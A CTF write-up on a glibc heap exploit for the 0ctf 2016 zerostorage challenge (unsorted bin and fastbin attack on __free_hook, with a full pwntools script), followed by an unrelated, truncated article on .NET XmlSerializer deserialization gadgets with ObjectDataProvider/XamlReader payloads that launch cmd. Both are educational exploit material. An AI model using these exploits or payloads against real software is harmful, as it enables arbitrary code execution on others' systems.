看了一下结构应该是同一个函数，找到switch对应的1分支，可以推断出qword_3C5848这个就是global_max_fast，所以在这个libc的偏移中，他相对文件头的偏移是0x3c5848。所以就可以借助泄露的main_arena+88的地址，推断出这个global_max_fast的地址。
gef➤ x/gx 0x00007ffff7bff000 + 0x3c5848
0x7ffff7fc4848: 0x0000000000000080
通过gdb查看libc加载的基地址是0x00007ffff7bff000，观察偏移0x3c5848的值为0x80,这就是默认情况下fastbin的最大为0x80，所以可以证明我们的这种方法找global_max_fast是可行的。
#### unsorted bin attack的利用
通过UAF我们可以改写merge后的chunk的bk指针为指向&global_max_fast – 2的地址，目的是在unsorted
bin上分配chunk的时候，会造成前后两个chunk的fd和bk指针的改写，在本题中就是unsorted
bin中的bk指向&global_max_fast – 2,而global_max_fast被存储了main_arena + 88的值。
我们在GEF中观察结果
首先在分配chunk之前，unsorted bin的情况
───────────────────────────── Unsorted Bin for arena '*0x7ffff7fc2b20' ─────────────────────────────
[+] unsorted_bins[0]: fw=0x555555758000, bk=0x555555758000
→ Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
index为2的chunk2的bk指针通过UAF漏洞改写为&global_max_fast – 2,
通过之前的描述我们已经确定了global_max_fast地址为0x7ffff7fc4848
gef➤ x/gx 0x555555758010 +8
0x555555758018: 0x00007ffff7fc4838
通过GDB的结果可以看到我们已经成功修改了chunk2的bk指针，使其指向了&global_max_fast – 2
在分配一个0x90大小的chunk之后，我们观察unsorted bin是如何变化的.
首先观察unsorted bin bk指针的指向
gef➤ x/gx 0x00007ffff7fc2b78 + 8*3 // 0x00007ffff7fc2b78这个是main_arena+88的地址，即main_arena.top的地址
0x7ffff7fc2b90: 0x00007ffff7fc4838 //unsorted bin -> bk为 0x00007ffff7fc4838
因此我们可以看到unsorted bin的bk指针已经改写为&global_max_fast – 2
而global_max_fast值改为0x00007ffff7fc2b78，
我们成功将一个原本只有0x80大小的global_max_fast，改为了一个很大的值
gef➤ x/gx 0x00007ffff7fc4838 + 8*2
0x7ffff7fc4848: 0x00007ffff7fc2b78
### 选择合适的fastbin chunk大小
虽然我们现在可以分配很大的fastbin chunk，但是fast
chunk在给用户返回堆块之前会有一个校验，它会检查返回给用户的堆块大小是否是合法的。我们的总体目标是能够 让fast
chunk返回一个malloc_hook或者free_hook附近的地址。我们通过在他们附近查找是否有合适的值能够绕过fast
chunk的校验。我在malloc_hook地址附近没有发现合适的值，但是在free_hook附近发现了一个0x200的值，这个size是满足我们的要求的。
### fastbin attack
我们确定好了我们的目标fastbin
chunk的大小为0x200，我们首先通过业务功能分配一个0x200大小的chunk，然后同样的merge这个chunk得到一个UAF的原型。此时内存上应该是有一个chunk是存放在fastbin上的。并且我们是可以访问这个被free的chunk。我们通过创建节点直接分配0x200的chunk的时候会出错。
为什么会出错？bug调试
gef➤ bt
#0 0x00007ffff7d41e8e in __libc_dlopen_mode () from ./libc.so.6
#1 0x00007ffff7d14301 in backtrace () from ./libc.so.6
#2 0x00007ffff7c1e9f5 in ?? () from ./libc.so.6
#3 0x00007ffff7c76725 in ?? () from ./libc.so.6
#4 0x00007ffff7c80f01 in ?? () from ./libc.so.6
#5 0x00007ffff7c8334a in calloc () from ./libc.so.6
#6 0x0000555555555057 in ?? ()
#7 0x0000555555554d57 in ?? ()
#8 0x00007ffff7c1f830 in __libc_start_main () from ./libc.so.6
#9 0x0000555555554d9a in ?? ()
0x200大小对应的index值是30，相对于fastbin数组的开始距离为 30 *8 = 240
0x80对应的是6
fastbin 相对于main_arena 就是+8
所以就是 main_arena + 8 + 240的地址是否有值，如果有值就不能当做我们的chunk 大小
后来发现我选在fast chunk大小为0x200是无法分配成功的，原因是因为0x200所对应
fastbin上有值的，这就导致会进入判断size，这个size显然不能通过校验,如何能绕过这个校验呢？这就涉及到需要充分利用题目中的realloc函数。
### __libc_realloc函数的分析
#### 两个特殊情况
#if REALLOC_ZERO_BYTES_FREES
if (bytes == 0 && oldmem != NULL)
{
__libc_free (oldmem); return 0;
}
#endif
这段是说，当realloc(有效值，0)相当于free的功能
/* realloc of null is supposed to be same as malloc */
if (oldmem == 0)
return __libc_malloc (bytes);
这段的意思当oldmem如果为空的话，相当于malloc
#### 一般情况
就是正常的oldmem和正常的size。
/* chunk corresponding to oldmem */
const mchunkptr oldp = mem2chunk (oldmem);
/* its size */
const INTERNAL_SIZE_T oldsize = chunksize (oldp);
if (chunk_is_mmapped (oldp))
ar_ptr = NULL;
else
ar_ptr = arena_for_chunk (oldp);
首先会根据oldmem得到它的chunk的大小，然后在判断一下这个堆是由mmap分配的吗。我们这种情况并不是mmap分配，因此跳过，继续看下面的
newp = _int_realloc (ar_ptr, oldp, oldsize, nb);
if (newp == NULL)
{
/* Try harder to allocate memory in other arenas. */
LIBC_PROBE (memory_realloc_retry, 2, bytes, oldmem);
newp = __libc_malloc (bytes);
if (newp != NULL)
{
memcpy (newp, oldmem, oldsize - SIZE_SZ);
_int_free (ar_ptr, oldp, 0);
}
}
return newp;
会先尝试调用_int_realloc函数，如果调用成功就返回，如果调用不成功则直接用malloc实现。由于我们的uaf原型不能让流程进入到由malloc逻辑。具体解释下原因，如果用malloc实现的，那么返回的地址是和old
mem不一样的，由于后面会对oldp给free，因此原来的merge(index1,index1)，
index1的这块内容就被释放了，在业务代码中会把index1再释放一遍，这实际上就是一个double free的原型，并不是UAF，double
free的原型的利用比较困难，现在还没有兴趣去研究。
综上原因，我们一定要让_int_realloc分配成功，下面看_int_realloc的具体逻辑
if (next == av->top &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb + MINSIZE))
{
set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
av->top = chunk_at_offset (oldp, nb);
set_head (av->top, (newsize - nb) | PREV_INUSE);
check_inuse_chunk (av, oldp);
return chunk2mem (oldp);
}
这个有个关键的一个逻辑，就是如果这个老的指针指向的chunk和top是紧邻的，那么分配的时候就是直接从top上再扩展一点儿额外的空间，相当于还是返回老的指针，这个逻辑就符合我们的预期，只有这样才能再重构UAF漏洞原型。
最关键的是这样还可以避免在malloc的fast
chunk的时候出错，由于直接用新建逻辑的时候调用的是calloc，相当于malloc，这个会直接进入校验逻辑
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0) //----------------> 0x200的时候这个地方会不为空
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
当请求的size为0x200的时候，fastbin 对应的fd是存在值的，所以会执行`if (__builtin_expect (fastbin_index
(chunksize (victim)) != idx, 0))`，相当于会去检查这个指针指向的chunk
size，由于这个是个我们不能控制的值，所以不能通过校验，因此通过单纯的创建节点的逻辑调用calloc得到一个符合fastbin
大小的chunk是不能通过的。
因此我们要试验，如何能够通过merge逻辑调用realloc得到一个符合大小的chunk。
### 通过realloc得到一个0x200大小的chunk
尝试通过分配0x100的chunk，然后merge，发现在insert(0xf0)的时候同样会不能通过fast
chunk的size校验，原因是同样，但是我们可以在修改global_max_fast之前就分配这个。然后等到修改完后再尝试merge。
对应的exp代码
insert(0x20, "A" * 0x1f) # 0
insert(0x20, "B" * 0x1f) # 1
merge(0, 0)
insert(0xf0,"G"*0xef) # 3
我们在第一次merge之后，修改max_fast之前申请一个0x100的chunk，观察内存情况
gef➤ heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 f8 2b fc f7 ff 7f 00 00 f8 2b fc f7 ff 7f 00 00 .+.......+......]
Chunk(addr=0x5555557580a0, size=0x90, flags=)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x100, flags=PREV_INUSE)
[0x0000555555758130 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG]
Chunk(addr=0x555555758230, size=0x20de0, flags=PREV_INUSE) ← top chunk
可以看到此时我们的这个chunk确实是与top chunk紧邻的，这符合我们的预期的。
但是却发现，在我们分配这个0x100的大小的chunk之后，却导致原来在unsorted bin中的chunk被放到了small
bin中了。这是因为merge之后,在unsorted bin上已经有一个元素了，而且我们新申请的这个0x100大小的chunk会触发从unsorted
bin上回收chunk到对应的bin上的逻辑，libc中的对应源码
static void *
_int_malloc (mstate av, size_t bytes){
...
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
...
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
这就导致我们后续利用unsorted bin进行改写max fast出错。因此我们不能触发这个逻辑，所以就要修改我们的创建节点的顺序,我们的exp需要改写为
insert(0x20, "A" * 0x1f) # 0
insert(0x20, "B" * 0x1f) # 1
insert(0xf0,"G"*0xef) # 2
merge(0, 0)
即在merge之前分配这个chunk，而且要在第三个创建这个0x100的chunk，这样才能保证与top chunk是紧邻的。
这样我们在merge之前再次观察内存情况，可以发现目前为止我们的0x100的chunk的确是与top chunk紧邻的
gef➤ heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA]
Chunk(addr=0x5555557580a0, size=0x90, flags=PREV_INUSE)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x100, flags=PREV_INUSE)
[0x0000555555758130 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG]
Chunk(addr=0x555555758230, size=0x20de0, flags=PREV_INUSE) ← top chunk
在merge之后，我们再次观察是否chunk0成功回收到了unsorted bin上，并且chunk2仍然与top chunk紧邻
gef➤ heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 78 2b fc f7 ff 7f 00 00 78 2b fc f7 ff 7f 00 00 x+......x+......]
Chunk(addr=0x5555557580a0, size=0x90, flags=)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x100, flags=PREV_INUSE)
[0x0000555555758130 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG]
Chunk(addr=0x555555758230, size=0x20de0, flags=PREV_INUSE) ← top chunk
gef➤ heap bins unsorted
───────────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena '*0x7ffff7fc2b20' ─────────────────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x555555758000, bk=0x555555758000
→ Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
可以看到我们的确实现了预期的效果。
但是在merge之后发现融合后的chunk只有0x1f0大，这个是因为由于合并不需要两个0x100，而是是0x100
+0xf0，第二个chunk的头部是不需要的。所以我们应该微调分配的大小，我改为了0xf8这么大之后再融合
gef➤ heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC]
Chunk(addr=0x5555557580a0, size=0x90, flags=PREV_INUSE)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x200, flags=PREV_INUSE)
[0x0000555555758130 08 2c fc f7 ff 7f 00 00 47 47 47 47 47 47 47 47 .,......GGGGGGGG]
Chunk(addr=0x555555758330, size=0x20ce0, flags=PREV_INUSE) ← top chunk
可以看到我们已经得到了我们想要的0x200
我们查看对应的fast bin上（已经远超了fastbin的范围）的存放的chunk是否正确
gef➤ x/gx 0x7ffff7fc2b20 + 8 + 30*8
0x7ffff7fc2c18: 0x0000555555758120
可以看到存放的就是我们刚才merge过后的0x20的chunk，所以我们已经完成了fast bin的布局。
### 拿到free_hook内存附近的控制权
我们完成了fastbin的布局，就可以利用UAF漏洞原型修改fastbin chunk的fd指针，进而在两次分配之后，拿到这个fd指针。
修改fd的exp代码是
malloc_free_hook_target_addr = 0x1bdf + leak_main_arena_88 - 8
edit(4, 0x1f0,p64(malloc_free_hook_target_addr))
0x1f0这个大小必须要正确，因为如果不是这个值，就会进入一个realloc流程，不要进入这个流程。
同样在gdb中观察是否写入正确
gef➤ heap chunks
Chunk(addr=0x555555758010, size=0x90, flags=PREV_INUSE)
[0x0000555555758010 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC]
Chunk(addr=0x5555557580a0, size=0x90, flags=PREV_INUSE)
[0x00005555557580a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x555555758130, size=0x200, flags=PREV_INUSE)
[0x0000555555758130 4f 47 fc f7 ff 7f 00 00 0a 47 47 47 47 47 47 47 OG.......GGGGGGG]
Chunk(addr=0x555555758330, size=0x20ce0, flags=PREV_INUSE) ← top chunk
gef➤ x/gx 0x7ffff7fc2b20 + 8 + 30 * 8
0x7ffff7fc2c18: 0x0000555555758120
gef➤ x/gx 0x0000555555758120
0x555555758120: 0x0000000000000000
gef➤ x/gx 0x0000555555758120 + 8
0x555555758128: 0x0000000000000201
gef➤ x/gx 0x0000555555758120 + 8 +8
0x555555758130: 0x00007ffff7fc474f
malloc_free_hook_target_addr的地址就是0x00007ffff7fc474f
我们已经成功修改了fd指针指向了我们想要的区域。
下面需要进行两次分配0x200 chunk。
第一次分配弹出无用的fastbin，第二次分配得到对free_hook的内存的指针。
之后就是往里面写数据，写数据的时候还有一个坑，就是要写入\x00字符，否则printf无法返回，程序会卡在那里。
原因是free_hook附近的数据显然是有用的，如果我们修改了就有可能导致程序出问题。
之后就是调用free实现对free_hook的劫持。至此我们已经拿到了PC的控制权，PWN！
### 我的利用代码
from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
target = process("./zerostorage_long", env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("./zerostorage_long")
libc = ELF("./libc.so.6")
# gdb.attach(target)
# recv_str = target.recv()
# print recv_str
raw_input("Begin...")
def insert(size, data):
target.recvuntil("Your choice: ")
target.sendline("1")
target.recvuntil("Length of new entry: ")
target.sendline(str(size))
target.recvuntil("Enter your data: ")
target.sendline(data)
def merge(index1, index2):
target.recvuntil("Your choice: ")
target.sendline("3")
target.recvuntil("Merge from Entry ID: ")
target.sendline(str(index1))
target.recvuntil("Merge to Entry ID: ")
target.sendline(str(index2))
def view(index):
target.recvuntil("Your choice: ")
target.sendline("5")
target.recvuntil("Entry ID: ")
target.sendline(str(index))
target.recvline()
ret = target.recvline()
return ret
def edit(index, size, data):
target.recvuntil("Your choice: ")
target.sendline("2")
target.recvuntil("Entry ID: ")
target.sendline(str(index))
target.recvuntil("Length of entry: ")
target.sendline(str(size))
target.recvuntil("Enter your data: ")
target.sendline(data)
def delete(index):
target.recvuntil("Your choice: ")
target.sendline("4")
target.recvuntil("Entry ID: ")
target.sendline(str(index))
def system_input(cmd):
target.sendline(cmd)
# Create two chunks, must prevent consolidate into forest
insert(0x20, "A" * 0x1f) # 0
insert(0x20, "B" * 0x1f) # 1
length = 0x100 - 0x8
insert(length,"G"*(length-1)) # 2
# Merge 0 chunk with itself, use after free
merge(0, 0) # 把0 放到了unsorted bin上了，同时也可以访问0, ## 3
# print(target.recv())
leak_main_arena_88 = u64(view(3)[0:8])
# 0x3c3b20 + 88 main_arena_88 offset 0x7ffff7fc2b78
# 0x3c5848 max_fast_addr offset
# 0x7ffff7fc2b20是arena的地址
# fast bin的地址0x7ffff7fc2b20 +8
# fast bin 0x200对应的内存地址0x7ffff7fc2b20 + 8 + 30 * 8
offset1 = 0x1cd0
max_fast_addr = leak_main_arena_88 + offset1
edit(3,0x10,p64(leak_main_arena_88) + p64(max_fast_addr- 2*8))
insert(0x20,"C"*0x1f) # 0
# print(target.recv())
merge(2,2) # 4
# print(target.recv())
malloc_free_hook_target_addr = 0x1bdf + leak_main_arena_88 - 8
edit(4, 0x1f0, p64(malloc_free_hook_target_addr) + (0x1f0-8-1)*'I')
offset2 = 0x1c30
free_hook_addr = leak_main_arena_88 + offset2
num_to_write = (free_hook_addr - (malloc_free_hook_target_addr + 2 * 8 ))
execve_bin_sh_addr = leak_main_arena_88 - 0x37e917
insert(0x1f0,'H'*(0x1f0-1))
# insert(0x1f0,'H'*(0x1f0-1))
# insert(0x1f0,'H'*(0x1f0-1))
insert(0x1f0,num_to_write * '\x00' + p64(execve_bin_sh_addr) + '\x00' * (0x1f0-num_to_write-8-1)) # 6
# insert(0x1f0,num_to_write * 'E' + p64(execve_bin_sh_addr)) # 6
# insert(0x20, "A" * 0x1f) # 0
# print('haha')
delete(1)
system_input('ls')
print(target.recv())
最后虽然成功跳转了pc，但是没有执行execve(‘/bin/sh’)成功，具体原因不想再研究了，希望同学可以指点下。
## 结语
这道题的难度可谓非常大，在调试过程中出现了太多的问题，本文也是边调试编写，可能前半部分有问题，但是我都记录下来了，不可能我们一蹴而就的直接给出最优解，正确的答案是简练的但是却缺少了很多思维过程，这是我在做这道题搜寻资料的时候发现大家都是拿着别人写好的exp跑一遍就行了，但是exp能看懂，不代表你解理解了真正的解题思路，希望本篇这种完整的解题记录能给大家一点启发。
## 参考
1. <https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html>
2. <http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/>
3. <https://hhdx.xyz/2020/07/12/How2heap-unsorted-bin-attack-0ctf2016-zerostorage/> | 社区文章 |
# XmlSerializer 类
XmlSerializer是微软自带的序列化类，用于在xml字符串和对象之间相互转化。其命名空间：[System.Xml.Serialization](https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.serialization?view=net-5.0)，程序集为：System.Xml.XmlSerializer.dll，[微软文档地址在这](https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0)。
# 使用案例
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Serialization;
namespace XmlDeserialization
{
[XmlRoot]
public class Person
{
[XmlElement]
public int Age { get; set; }
[XmlElement]
public string Name { get; set; }
[XmlArray("Items")]
public Order[] OrderedItems;
[XmlAttribute]
public string ClassName { get; set; }
}
public class Order
{
public int OrderID;
}
class Program
{
static void Main(string[] args)
{
Person p = new Person();
p.Name = "jack";
p.Age = 12;
Order order = new Order();
order.OrderID = 123;
Order order1 = new Order();
order.OrderID = 456;
Order[] orders = new Order[] { order, order1 };
p.OrderedItems = orders;
p.ClassName = "classname";
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
// 序列化
xmlSerializer.Serialize(writer, p);
memoryStream.Position = 0;
// 输出xml
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
Console.WriteLine(p1.Name);
Console.ReadKey();
}
}
}
输出结果
<?xml version="1.0" encoding="utf-8"?>
<Person xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ClassName="classname">
<Items>
<Order>
<OrderID>456</OrderID>
</Order>
<Order>
<OrderID>0</OrderID>
</Order>
</Items>
<Age>12</Age>
<Name>jack</Name>
</Person>
jack
XmlSerializer只能将对象的公共(public)属性和公共字段进行序列化和反序列化。
在序列化的时候我们可以看到`new
XmlSerializer(typeof(Person))`将对象类型type传入xmlserializer，这边有几种方式获取Type
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));// typeof()
XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // 对象的GetType()方法
XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("XmlDeserialization.Person")); //使用命名空间加类名
# 反序列化攻击链
对于xml反序列化最经典的就是ObjectDataProvider，在ysoserial.net工具中有这条gadget。使用ysoserial.net生成
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
## ObjectDataProvider
分析一下ObjectDataProvider是什么玩意
ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();
Console.ReadKey();
当执行的时候会弹出计算器。但是使用xml序列化时会报错
ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, o);
InvalidOperationException: 不应是类型 System.Windows.Data.ObjectDataProvider。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。
因为序列化过程中o的类型未知，这里可以使用`ExpandedWrapper`类包装下我们自己的类，然后在MethodName调用自己的方法来执行恶意命令。
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;
namespace XmlDeserialization
{
[XmlRoot]
public class Person
{
[XmlAttribute]
public string ClassName { get; set; }
public void Evil(string cmd)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
}
}
class Program
{
static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Evil";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);
memoryStream.Position = 0;
xml.Deserialize(memoryStream);
Console.ReadKey();
}
}
}
这里不足的地方是Person类中的Evil方法是我们自己写的，而实际过程中需要寻找其他点调用Process执行命令。而这则引出了ResourceDictionary这个更深层次的攻击链。
## ResourceDictionary
ResourceDictionary即资源字典，用于wpf开发，既然是wpf，肯定涉及到xaml语言。先来看利用ResourceDictionary执行命令的一个payload。
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
解释下这段xaml：
1. xmlns:c 引用了System.Diagnostics命名空间起别名为c
2. d:Key="" 起别名为空，在xaml语法中，Key这个键值必须有。
3. ObjectType表示对象类型
4. d:Type 等同于typeof()
5. MethodName是ObjectDataProvider的属性，传递一个Start等于调用Start方法。
6. c:Process 等同于System.Diagnostics.Process
整个xaml被解析之后，等同于创建了一个ObjectDataProvider对象，该对象又会自动调用`System.Diagnostics.Process.Start("cmd.exe","/c
calc")`
因为是xaml的语言，我们使用XamlReader.Parse()来解析它，运行后会弹出calc。其中base64的是上文ResourceDictionary的payload。
using System;
using System.Text;
using System.Windows.Markup;
namespace XmlDeserialization
{
class Program
{
static void Main(string[] args)
{
string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
byte[] vs = Convert.FromBase64String(p);
string xml = Encoding.UTF8.GetString(vs);
XmlDeserialize(xml);
Console.ReadKey();
}
public static void XmlDeserialize(string o)
{
XamlReader.Parse(o);
}
}
}
此时相当于我们利用XamlReader.Parse()进行了进一步利用，对于xmlserializer来说攻击链从原来的
* ObjectDataProvider -> Person.Evil()
转变为
* ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")
拿java来说ObjectDataProvider 更像是commons-collections的InvokerTransformer，可以调用任意类的任意方法。
此时回头看ysoserial.net生成的payload就一目了然了。
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
# 代码审计视角
首先就是针对初始化时`new
